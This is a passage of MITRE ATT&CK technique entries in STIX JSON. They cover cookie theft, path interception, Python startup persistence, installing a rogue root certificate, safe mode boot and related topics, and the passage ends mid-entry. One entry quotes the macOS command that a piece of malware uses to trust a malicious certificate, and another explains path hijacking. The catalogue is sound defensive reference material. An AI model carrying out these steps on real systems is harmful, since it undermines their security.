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                    "source_name": "Pass The Cookie",
                    "description": "Rehberger, J. (2018, December). Pivot to the Cloud using Pass the Cookie. Retrieved April 5, 2019.",
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            "description": "Adversaries can use stolen session cookies to authenticate to web applications and services. This technique bypasses some multi-factor authentication protocols since the session is already authenticated.(Citation: Pass The Cookie)\n\nAuthentication cookies are commonly used in web applications, including cloud-based services, after a user has authenticated to the service so credentials are not passed and re-authentication does not need to occur as frequently. Cookies are often valid for an extended period of time, even if the web application is not actively used. After the cookie is obtained through [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539) or [Web Cookies](https://attack.mitre.org/techniques/T1606/001), the adversary may then import the cookie into a browser they control and is then able to use the site or application as the user for as long as the session cookie is active. Once logged into the site, an adversary can access sensitive information, read email, or perform actions that the victim account has permissions to perform.\n\nThere have been examples of malware targeting session cookies to bypass multi-factor authentication systems.(Citation: Unit 42 Mac Crypto Cookies January 2019)",
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            "x_mitre_contributors": [
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            "created": "2020-03-13T20:21:54.758Z",
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                    "url": "https://attack.mitre.org/techniques/T1078/002",
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                    "source_name": "TechNet Credential Theft",
                    "description": "Microsoft. (2016, April 15). Attractive Accounts for Credential Theft. Retrieved June 3, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/dn535501.aspx"
                },
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                    "source_name": "Microsoft AD Accounts",
                    "description": "Microsoft. (2019, August 23). Active Directory Accounts. Retrieved March 13, 2020.",
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            "description": "Adversaries may obtain and abuse credentials of a domain account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion.(Citation: TechNet Credential Theft) Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover users, administrators, and services.(Citation: Microsoft AD Accounts)\n\nAdversaries may compromise domain accounts, some with a high level of privileges, through various means such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or password reuse, allowing access to privileged resources of the domain.",
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                    "url": "https://attack.mitre.org/techniques/T1218/009",
                    "external_id": "T1218.009"
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                {
                    "source_name": "LOLBAS Regasm",
                    "description": "LOLBAS. (n.d.). Regasm.exe. Retrieved July 31, 2019.",
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                    "source_name": "LOLBAS Regsvcs",
                    "description": "LOLBAS. (n.d.). Regsvcs.exe. Retrieved July 31, 2019.",
                    "url": "https://lolbas-project.github.io/lolbas/Binaries/Regsvcs/"
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                    "source_name": "MSDN Regasm",
                    "description": "Microsoft. (n.d.). Regasm.exe (Assembly Registration Tool). Retrieved July 1, 2016.",
                    "url": "https://msdn.microsoft.com/en-us/library/tzat5yw6.aspx"
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                {
                    "source_name": "MSDN Regsvcs",
                    "description": "Microsoft. (n.d.). Regsvcs.exe (.NET Services Installation Tool). Retrieved July 1, 2016.",
                    "url": "https://msdn.microsoft.com/en-us/library/04za0hca.aspx"
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                {
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/159.html",
                    "external_id": "CAPEC-159"
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                {
                    "source_name": "TechNet MS14-019",
                    "description": "Nagaraju, S. (2014, April 8). MS14-019 \u2013 Fixing a binary hijacking via .cmd or .bat file. Retrieved July 25, 2016.",
                    "url": "https://blogs.technet.microsoft.com/srd/2014/04/08/ms14-019-fixing-a-binary-hijacking-via-cmd-or-bat-file/"
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                {
                    "source_name": "Microsoft Subkey",
                    "description": "Microsoft. (n.d.). CurrentControlSet\\Services Subkey Entries. Retrieved November 30, 2014.",
                    "url": "http://support.microsoft.com/KB/103000"
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                    "source_name": "Baggett 2012",
                    "description": "Baggett, M. (2012, November 8). Help eliminate unquoted path vulnerabilities. Retrieved December 4, 2014.",
                    "url": "https://isc.sans.edu/diary/Help+eliminate+unquoted+path+vulnerabilities/14464"
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                    "source_name": "SecurityBoulevard Unquoted Services APR 2018",
                    "description": "HackHappy. (2018, April 23). Windows Privilege Escalation \u2013 Unquoted Services. Retrieved August 10, 2018.",
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                    "source_name": "Microsoft WinExec",
                    "description": "Microsoft. (n.d.). WinExec function. Retrieved December 5, 2014.",
                    "url": "http://msdn.microsoft.com/en-us/library/ms687393"
                },
                {
                    "source_name": "MSDN Environment Property",
                    "description": "Microsoft. (n.d.). Environment Property. Retrieved July 27, 2016.",
                    "url": "https://msdn.microsoft.com/en-us/library/fd7hxfdd.aspx"
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            "modified": "2025-10-24T17:49:21.270Z",
            "name": "Path Interception",
            "description": "**This technique has been deprecated. Please use [Path Interception by PATH Environment Variable](https://attack.mitre.org/techniques/T1574/007), [Path Interception by Search Order Hijacking](https://attack.mitre.org/techniques/T1574/008), and/or [Path Interception by Unquoted Path](https://attack.mitre.org/techniques/T1574/009).**\n\nPath interception occurs when an executable is placed in a specific path so that it is executed by an application instead of the intended target. One example of this was the use of a copy of [cmd](https://attack.mitre.org/software/S0106) in the current working directory of a vulnerable application that loads a CMD or BAT file with the CreateProcess function. (Citation: TechNet MS14-019)\n\nThere are multiple distinct weaknesses or misconfigurations that adversaries may take advantage of when performing path interception: unquoted paths, path environment variable misconfigurations, and search order hijacking. The first vulnerability deals with full program paths, while the second and third occur when program paths are not specified. These techniques can be used for persistence if executables are called on a regular basis, as well as privilege escalation if intercepted executables are started by a higher privileged process.\n\n### Unquoted Paths\nService paths (stored in Windows Registry keys) (Citation: Microsoft Subkey) and shortcut paths are vulnerable to path interception if the path has one or more spaces and is not surrounded by quotation marks (e.g., <code>C:\\unsafe path with space\\program.exe</code> vs. <code>\"C:\\safe path with space\\program.exe\"</code>). (Citation: Baggett 2012) An adversary can place an executable in a higher level directory of the path, and Windows will resolve that executable instead of the intended executable. For example, if the path in a shortcut is <code>C:\\program files\\myapp.exe</code>, an adversary may create a program at <code>C:\\program.exe</code> that will be run instead of the intended program. (Citation: SecurityBoulevard Unquoted Services APR 2018) (Citation: SploitSpren Windows Priv Jan 2018)\n\n### PATH Environment Variable Misconfiguration\nThe PATH environment variable contains a list of directories. Certain methods of executing a program (namely using cmd.exe or the command-line) rely solely on the PATH environment variable to determine the locations that are searched for a program when the path for the program is not given. If any directories are listed in the PATH environment variable before the Windows directory, <code>%SystemRoot%\\system32</code> (e.g., <code>C:\\Windows\\system32</code>), a program may be placed in the preceding directory that is named the same as a Windows program (such as cmd, PowerShell, or Python), which will be executed when that command is executed from a script or command-line.\n\nFor example, if <code>C:\\example path</code> precedes <code>C:\\Windows\\system32</code> is in the PATH environment variable, a program that is named net.exe and placed in <code>C:\\example path</code> will be called instead of the Windows system \"net\" when \"net\" is executed from the command-line.\n\n### Search Order Hijacking\nSearch order hijacking occurs when an adversary abuses the order in which Windows searches for programs that are not given a path. The search order differs depending on the method that is used to execute the program. (Citation: Microsoft CreateProcess) (Citation: Hill NT Shell) (Citation: Microsoft WinExec) However, it is common for Windows to search in the directory of the initiating program before searching through the Windows system directory. An adversary who finds a program vulnerable to search order hijacking (i.e., a program that does not specify the path to an executable) may take advantage of this vulnerability by creating a program named after the improperly specified program and placing it within the initiating program's directory.\n\nFor example, \"example.exe\" runs \"cmd.exe\" with the command-line argument <code>net user</code>. An adversary may place a program called \"net.exe\" within the same directory as example.exe, \"net.exe\" will be run instead of the Windows system utility net. In addition, if an adversary places a program called \"net.com\" in the same directory as \"net.exe\", then <code>cmd.exe /C net user</code> will execute \"net.com\" instead of \"net.exe\" due to the order of executable extensions defined under PATHEXT. (Citation: MSDN Environment Property)\n\nSearch order hijacking is also a common practice for hijacking DLL loads and is covered in [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038).",
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            "created": "2025-05-22T19:20:46.740Z",
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                    "source_name": "Python Site Configuration Hook",
                    "description": "Python. (n.d.). site \u2014 Site-specific configuration hook. Retrieved May 22, 2025.",
                    "url": "https://docs.python.org/3/library/site.html"
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                {
                    "source_name": "DFIR Python Persistence 2025",
                    "description": "Stephan Berger. (2025, January 14). Analysis of Python's .pth files as a persistence mechanism. Retrieved May 22, 2025.",
                    "url": "https://dfir.ch/posts/publish_python_pth_extension/"
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                {
                    "source_name": "Volexity GlobalProtect CVE 2024",
                    "description": "Volexity Threat Research. (2024, April 12). Zero-Day Exploitation of Unauthenticated Remote Code Execution Vulnerability in GlobalProtect (CVE-2024-3400). Retrieved May 22, 2025.",
                    "url": "https://www.volexity.com/blog/2024/04/12/zero-day-exploitation-of-unauthenticated-remote-code-execution-vulnerability-in-globalprotect-cve-2024-3400/"
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            "description": "Adversaries may achieve persistence by leveraging Python\u2019s startup mechanisms, including path configuration (`.pth`) files and the `sitecustomize.py` or `usercustomize.py` modules. These files are automatically processed during the initialization of the Python interpreter, allowing for the execution of arbitrary code whenever Python is invoked.(Citation: Volexity GlobalProtect CVE 2024)\n\nPath configuration files are designed to extend Python\u2019s module search paths through the use of import statements. If a `.pth` file is placed in Python's `site-packages` or `dist-packages` directories, any lines beginning with `import` will be executed automatically on Python invocation.(Citation: DFIR Python Persistence 2025) Similarly, if `sitecustomize.py` or `usercustomize.py` is present in the Python path, these files will be imported during interpreter startup, and any code they contain will be executed.(Citation: Python Site Configuration Hook)\n\nAdversaries may abuse these mechanisms to establish persistence on systems where Python is widely used (e.g., for automation or scripting in production environments).  ",
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            "created": "2019-10-08T20:08:56.205Z",
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                    "external_id": "T1506"
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                    "source_name": "Pass The Cookie",
                    "description": "Rehberger, J. (2018, December). Pivot to the Cloud using Pass the Cookie. Retrieved April 5, 2019.",
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                    "source_name": "Unit 42 Mac Crypto Cookies January 2019",
                    "description": "Chen, Y., Hu, W., Xu, Z., et. al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges\u2019 Cookies. Retrieved October 14, 2019.",
                    "url": "https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/"
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            "name": "Web Session Cookie",
            "description": "Adversaries can use stolen session cookies to authenticate to web applications and services. This technique bypasses some multi-factor authentication protocols since the session is already authenticated.(Citation: Pass The Cookie)\n\nAuthentication cookies are commonly used in web applications, including cloud-based services, after a user has authenticated to the service so credentials are not passed and re-authentication does not need to occur as frequently. Cookies are often valid for an extended period of time, even if the web application is not actively used. After the cookie is obtained through [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539), the adversary then imports the cookie into a browser they control and is able to use the site or application as the user for as long as the session cookie is active. Once logged into the site, an adversary can access sensitive information, read email, or perform actions that the victim account has permissions to perform.\n\nThere have been examples of malware targeting session cookies to bypass multi-factor authentication systems.(Citation: Unit 42 Mac Crypto Cookies January 2019) ",
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            "created": "2020-02-21T21:05:32.844Z",
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                {
                    "source_name": "Operation Emmental",
                    "description": "botconf eu. (2014, December 31). David Sancho - Finding Holes in Banking 2FA: Operation Emmental. Retrieved January 4, 2024.",
                    "url": "https://www.youtube.com/watch?v=gchKFumYHWc"
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                {
                    "source_name": "SpectorOps Code Signing Dec 2017",
                    "description": "Graeber, M. (2017, December 22). Code Signing Certificate Cloning Attacks and Defenses. Retrieved April 3, 2018.",
                    "url": "https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec"
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                    "source_name": "Kaspersky Superfish",
                    "description": "Onuma. (2015, February 24). Superfish: Adware Preinstalled on Lenovo Laptops. Retrieved February 20, 2017.",
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                    "source_name": "objective-see ay mami 2018",
                    "description": "Patrick Wardle. (2018, January 11). Ay MaMi. Retrieved March 19, 2018.",
                    "url": "https://objective-see.com/blog/blog_0x26.html"
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                {
                    "source_name": "Wikipedia Root Certificate",
                    "description": "Wikipedia. (2016, December 6). Root certificate. Retrieved February 20, 2017.",
                    "url": "https://en.wikipedia.org/wiki/Root_certificate"
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            "name": "Install Root Certificate",
            "description": "Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers. Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate.(Citation: Wikipedia Root Certificate) Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.\n\nInstallation of a root certificate on a compromised system would give an adversary a way to degrade the security of that system. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials.(Citation: Operation Emmental)\n\nAtypical root certificates have also been pre-installed on systems by the manufacturer or in the software supply chain and were used in conjunction with malware/adware to provide [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) capability for intercepting information transmitted over secure TLS/SSL communications.(Citation: Kaspersky Superfish)\n\nRoot certificates (and their associated chains) can also be cloned and reinstalled. Cloned certificate chains will carry many of the same metadata characteristics of the source and can be used to sign malicious code that may then bypass signature validation tools (ex: Sysinternals, antivirus, etc.) used to block execution and/or uncover artifacts of Persistence.(Citation: SpectorOps Code Signing Dec 2017)\n\nIn macOS, the Ay MaMi malware uses <code>/usr/bin/security add-trusted-cert -d -r trustRoot -k /Library/Keychains/System.keychain /path/to/malicious/cert</code> to install a malicious certificate as a trusted root certificate into the system keychain.(Citation: objective-see ay mami 2018)",
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                    "source_name": "Petri Logon Script AD",
                    "description": "Daniel Petri. (2009, January 8). Setting up a Logon Script through Active Directory Users and Computers in Windows Server 2008. Retrieved November 15, 2019.",
                    "url": "https://www.petri.com/setting-up-logon-script-through-active-directory-users-computers-windows-server-2008"
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            "description": "Adversaries may use network logon scripts automatically executed at logon initialization to establish persistence. Network logon scripts can be assigned using Active Directory or Group Policy Objects.(Citation: Petri Logon Script AD) These logon scripts run with the privileges of the user they are assigned to. Depending on the systems within the network, initializing one of these scripts could apply to more than one or potentially all systems.  \n \nAdversaries may use these scripts to maintain persistence on a network. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary.",
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            "created": "2019-04-18T11:00:55.862Z",
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                    "url": "https://attack.mitre.org/techniques/T1499",
                    "external_id": "T1499"
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                {
                    "source_name": "Cisco DoSdetectNetflow",
                    "description": "Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow. Retrieved April 25, 2019.",
                    "url": "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf"
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                {
                    "source_name": "FSISAC FraudNetDoS September 2012",
                    "description": "FS-ISAC. (2012, September 17). Fraud Alert \u2013 Cyber Criminals Targeting Financial Institution Employee Credentials to Conduct Wire Transfer Fraud. Retrieved September 23, 2024.",
                    "url": "https://www.ic3.gov/Media/PDF/Y2012/FraudAlertFinancialInstitutionEmployeeCredentialsTargeted.pdf"
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                    "source_name": "ArsTechnica Great Firewall of China",
                    "description": "Goodin, D.. (2015, March 31). Massive denial-of-service attack on GitHub tied to Chinese government. Retrieved April 19, 2019.",
                    "url": "https://arstechnica.com/information-technology/2015/03/massive-denial-of-service-attack-on-github-tied-to-chinese-government/"
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                    "source_name": "FireEye OpPoisonedHandover February 2016",
                    "description": "Ned Moran, Mike Scott, Mike Oppenheim of FireEye. (2014, November 3). Operation Poisoned Handover: Unveiling Ties Between APT Activity in Hong Kong\u2019s Pro-Democracy Movement. Retrieved November 17, 2024.",
                    "url": "https://web.archive.org/web/20201127180357/https://www.fireeye.com/blog/threat-research/2014/11/operation-poisoned-handover-unveiling-ties-between-apt-activity-in-hong-kongs-pro-democracy-movement.html"
                },
                {
                    "source_name": "USNYAG IranianBotnet March 2016",
                    "description": "Preet Bharara, US Attorney. (2016, March 24). Retrieved April 23, 2019.",
                    "url": "https://www.justice.gov/opa/pr/seven-iranians-working-islamic-revolutionary-guard-corps-affiliated-entities-charged"
                },
                {
                    "source_name": "Symantec DDoS October 2014",
                    "description": "Wueest, C.. (2014, October 21). The continued rise of DDoS attacks. Retrieved April 24, 2019.",
                    "url": "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-continued-rise-of-ddos-attacks.pdf"
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            "name": "Endpoint Denial of Service",
            "description": "Adversaries may perform Endpoint Denial of Service (DoS) attacks to degrade or block the availability of services to users. Endpoint DoS can be performed by exhausting the system resources those services are hosted on or exploiting the system to cause a persistent crash condition. Example services include websites, email services, DNS, and web-based applications. Adversaries have been observed conducting DoS attacks for political purposes(Citation: FireEye OpPoisonedHandover February 2016) and to support other malicious activities, including distraction(Citation: FSISAC FraudNetDoS September 2012), hacktivism, and extortion.(Citation: Symantec DDoS October 2014)\n\nAn Endpoint DoS denies the availability of a service without saturating the network used to provide access to the service. Adversaries can target various layers of the application stack that is hosted on the system used to provide the service. These layers include the Operating Systems (OS), server applications such as web servers, DNS servers, databases, and the (typically web-based) applications that sit on top of them. Attacking each layer requires different techniques that take advantage of bottlenecks that are unique to the respective components. A DoS attack may be generated by a single system or multiple systems spread across the internet, which is commonly referred to as a distributed DoS (DDoS).\n\nTo perform DoS attacks against endpoint resources, several aspects apply to multiple methods, including IP address spoofing and botnets.\n\nAdversaries may use the original IP address of an attacking system, or spoof the source IP address to make the attack traffic more difficult to trace back to the attacking system or to enable reflection. This can increase the difficulty defenders have in defending against the attack by reducing or eliminating the effectiveness of filtering by the source address on network defense devices.\n\nBotnets are commonly used to conduct DDoS attacks against networks and services. Large botnets can generate a significant amount of traffic from systems spread across the global internet. Adversaries may have the resources to build out and control their own botnet infrastructure or may rent time on an existing botnet to conduct an attack. In some of the worst cases for DDoS, so many systems are used to generate requests that each one only needs to send out a small amount of traffic to produce enough volume to exhaust the target's resources. In such circumstances, distinguishing DDoS traffic from legitimate clients becomes exceedingly difficult. Botnets have been used in some of the most high-profile DDoS attacks, such as the 2012 series of incidents that targeted major US banks.(Citation: USNYAG IranianBotnet March 2016)\n\nIn cases where traffic manipulation is used, there may be points in the global network (such as high traffic gateway routers) where packets can be altered and cause legitimate clients to execute code that directs network packets toward a target in high volume. This type of capability was previously used for the purposes of web censorship where client HTTP traffic was modified to include a reference to JavaScript that generated the DDoS code to overwhelm target web servers.(Citation: ArsTechnica Great Firewall of China)\n\nFor attacks attempting to saturate the providing network, see [Network Denial of Service](https://attack.mitre.org/techniques/T1498).\n",
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                    "url": "https://attack.mitre.org/techniques/T1027/004",
                    "external_id": "T1027.004"
                },
                {
                    "source_name": "ClearSky MuddyWater Nov 2018",
                    "description": "ClearSky Cyber Security. (2018, November). MuddyWater Operations in Lebanon and Oman: Using an Israeli compromised domain for a two-stage campaign. Retrieved November 29, 2018.",
                    "url": "https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf"
                },
                {
                    "source_name": "ATTACK IQ",
                    "description": "Federico Quattrin, Nick Desler, Tin Tam, & Matthew Rutkoske. (2023, March 16). Hiding in Plain Sight: Monitoring and Testing for Living-Off-the-Land Binaries. Retrieved July 15, 2024.",
                    "url": "https://www.attackiq.com/2023/03/16/hiding-in-plain-sight/"
                },
                {
                    "source_name": "TrendMicro WindowsAppMac",
                    "description": "Trend Micro. (2019, February 11). Windows App Runs on Mac, Downloads Info Stealer and Adware. Retrieved April 25, 2019.",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/windows-app-runs-on-mac-downloads-info-stealer-and-adware/"
                }
            ],
            "object_marking_refs": [
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            ],
            "modified": "2026-05-12T15:12:00.716Z",
            "name": "Compile After Delivery",
            "description": "Adversaries may attempt to make payloads difficult to discover and analyze by delivering files to victims as uncompiled code. Text-based source code files may subvert analysis and scrutiny from protections targeting executables/binaries. These payloads will need to be compiled before execution; typically via native utilities such as ilasm.exe(Citation: ATTACK IQ), csc.exe, or GCC/MinGW.(Citation: ClearSky MuddyWater Nov 2018)\n\nSource code payloads may also be encrypted, encoded, and/or embedded within other files, such as those delivered as a [Phishing](https://attack.mitre.org/techniques/T1566). Payloads may also be delivered in formats unrecognizable and inherently benign to the native OS (ex: EXEs on macOS/Linux) before later being (re)compiled into a proper executable binary with a bundled compiler and execution framework.(Citation: TrendMicro WindowsAppMac)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "stealth"
                }
            ],
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_contributors": [
                "Liran Ravich, CardinalOps",
                "Praetorian",
                "Ye Yint Min Thu Htut, Offensive Security Team, DBS Bank"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "x_mitre_version": "2.0"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--c7660f19-f8c5-4ae3-a5e5-24381c270376",
            "created": "2026-04-14T22:53:27.979Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1688",
                    "external_id": "T1688"
                },
                {
                    "source_name": "BleepingComputer REvil 2021",
                    "description": "Abrams, L. (2021, March 19). REvil ransomware has a new \u2018Windows Safe Mode\u2019 encryption mode. Retrieved June 23, 2021.",
                    "url": "https://www.bleepingcomputer.com/news/security/revil-ransomware-has-a-new-windows-safe-mode-encryption-mode/"
                },
                {
                    "source_name": "Sophos Safe Mode Boot",
                    "description": "Andrew Brandt. (2019, December 9). Snatch ransomware reboots PCs into Safe Mode to bypass protection. Retrieved April 15, 2026.",
                    "url": "https://www.sophos.com/en-us/blog/snatch-ransomware-reboots-pcs-into-safe-mode-to-bypass-protection"
                },
                {
                    "source_name": "Cybereason safe mode boot",
                    "description": "Cybereason Nocturnus. (n.d.). Cybereason vs. MedusaLocker Ransomware. Retrieved April 15, 2026.",
                    "url": "https://www.cybereason.com/blog/research/medusalocker-ransomware"
                },
                {
                    "source_name": "Microsoft Windows Startup Settings",
                    "description": "Microsoft. (n.d.). Retrieved April 15, 2026.",
                    "url": "https://support.microsoft.com/en-us/windows/windows-startup-settings-1af6ec8c-4d4a-4b23-adb7-e76eef0b847f"
                },
                {
                    "source_name": "Microsoft bcdedit",
                    "description": "Microsoft. (n.d.). Retrieved April 15, 2026.",
                    "url": "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bcdedit"
                },
                {
                    "source_name": "CyberArk Labs Safe Mode 2016",
                    "description": "Naim, D.. (2016, September 15). CyberArk Labs: From Safe Mode to Domain Compromise. Retrieved June 23, 2021.",
                    "url": "https://www.cyberark.com/resources/blog/cyberark-labs-from-safe-mode-to-domain-compromise"
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            "modified": "2026-05-12T15:12:00.716Z",
            "name": "Safe Mode Boot",
            "description": "Adversaries may abuse Windows safe mode to disable endpoint defenses. Safe mode starts up the Windows operating system with a limited set of drivers and services. Third-party security software such as endpoint detection and response (EDR) tools may not start after booting Windows in safe mode. There are two versions of safe mode: Safe Mode and Safe Mode with Networking. It is possible to start additional services after a safe mode boot.(Citation: Microsoft Windows Startup Settings)(Citation: Sophos Safe Mode Boot)\n\nAdversaries may abuse safe mode to disable endpoint defenses that may not start with a limited boot. Hosts can be forced into safe mode after the next reboot via modifications to Boot Configuration Data (BCD) stores, which are files that manage boot application settings.(Citation: Microsoft bcdedit)\n\nAdversaries may also add their malicious applications to the list of minimal services that start in safe mode by modifying relevant Registry values (i.e. [Modify Registry](https://attack.mitre.org/techniques/T1112)). Malicious [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) objects may also be registered and loaded in safe mode.(Citation: CyberArk Labs Safe Mode 2016)(Citation: Cybereason safe mode boot)(Citation: BleepingComputer REvil 2021)",
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                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-impairment"
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            ],
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_contributors": [
                "Jorell Magtibay, National Australia Bank Limited",
                "Kiyohito Yamamoto, RedLark, NTT Communications",
                "Yusuke Kubo, RedLark, NTT Communications"
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            "x_mitre_deprecated": false,
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_version": "1.0"
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            "id": "attack-pattern--c848fcf7-6b62-4bde-8216-b6c157d48da0",
            "created": "2017-05-31T21:30:53.408Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1065",
                    "external_id": "T1065"
                },
                {
                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
                }
            ],
            "object_marking_refs": [
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            "modified": "2025-10-24T17:49:22.451Z",
            "name": "Uncommonly Used Port",
            "description": "Adversaries may conduct C2 communications over a non-standard port to bypass proxies and firewalls that have been improperly configured.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "command-and-control"
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            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "x_mitre_version": "1.1"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--c877e33f-1df6-40d6-b1e7-ce70f16f4979",
            "created": "2021-04-01T16:42:08.735Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1614",
                    "external_id": "T1614"
                },
                {
                    "source_name": "Bleepingcomputer RAT malware 2020",
                    "description": "Abrams, L. (2020, October 23). New RAT malware gets commands via Discord, has ransomware feature. Retrieved April 1, 2021.",
                    "url": "https://www.bleepingcomputer.com/news/security/new-rat-malware-gets-commands-via-discord-has-ransomware-feature/"
                },
                {
                    "source_name": "AWS Instance Identity Documents",
                    "description": "Amazon. (n.d.). Instance identity documents. Retrieved April 2, 2021.",
                    "url": "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-identity-documents.html"
                },
                {
                    "source_name": "Securelist Trasparent Tribe 2020",
                    "description": "Dedola, G. (2020, August 20). Transparent Tribe: Evolution analysis, part 1. Retrieved April 1, 2021.",
                    "url": "https://securelist.com/transparent-tribe-part-1/98127/"
                },
                {
                    "source_name": "FBI Ragnar Locker 2020",
                    "description": "FBI. (2020, November 19). Indicators of Compromise Associated with Ragnar Locker Ransomware. Retrieved September 12, 2024.",
                    "url": "https://s3.documentcloud.org/documents/20413525/fbi-flash-indicators-of-compromise-ragnar-locker-ransomware-11192020-bc.pdf"
                },
                {
                    "source_name": "Microsoft Azure Instance Metadata 2021",
                    "description": "Microsoft. (2021, February 21). Azure Instance Metadata Service (Windows). Retrieved April 2, 2021.",
                    "url": "https://docs.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service?tabs=windows"
                },
                {
                    "source_name": "Sophos Geolocation 2016",
                    "description": "Wisniewski, C. (2016, May 3). Location-based threats: How cybercriminals target you based on where you live. Retrieved April 1, 2021.",
                    "url": "https://news.sophos.com/en-us/2016/05/03/location-based-ransomware-threat-research/"
                }
            ],
            "object_marking_refs": [
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            "modified": "2026-05-12T15:12:00.716Z",
            "name": "System Location Discovery",
            "description": "\nAdversaries may gather information in an attempt to calculate the geographical location of a victim host. Adversaries may use the information from [System Location Discovery](https://attack.mitre.org/techniques/T1614) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nAdversaries may attempt to infer the location of a system using various system checks, such as time zone, keyboard layout, and/or language settings.(Citation: FBI Ragnar Locker 2020)(Citation: Sophos Geolocation 2016)(Citation: Bleepingcomputer RAT malware 2020) Windows API functions such as <code>GetLocaleInfoW</code> can also be used to determine the locale of the host.(Citation: FBI Ragnar Locker 2020) In cloud environments, an instance's availability zone may also be discovered by accessing the instance metadata service from the instance.(Citation: AWS Instance Identity Documents)(Citation: Microsoft Azure Instance Metadata 2021)\n\nAdversaries may also attempt to infer the location of a victim host using IP addressing, such as via online geolocation IP-lookup services.(Citation: Securelist Trasparent Tribe 2020)(Citation: Sophos Geolocation 2016)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "discovery"
                }
            ],
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_contributors": [
                "Pooja Natarajan, NEC Corporation India",
                "Hiroki Nagahama, NEC Corporation",
                "Manikantan Srinivasan, NEC Corporation India",
                "Wes Hurd",
                "Katie Nickels, Red Canary"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "IaaS",
                "Linux",
                "macOS",
                "Windows"
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            "x_mitre_version": "1.1"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--c898c4b5-bf36-4e6e-a4ad-5b8c4c13e35b",
            "created": "2020-09-17T12:51:40.845Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1564/007",
                    "external_id": "T1564.007"
                },
                {
                    "source_name": "pcodedmp Bontchev",
                    "description": "Bontchev, V. (2019, July 30). pcodedmp.py - A VBA p-code disassembler. Retrieved September 17, 2020.",
                    "url": "https://github.com/bontchev/pcodedmp"
                },
                {
                    "source_name": "FireEye VBA stomp Feb 2020",
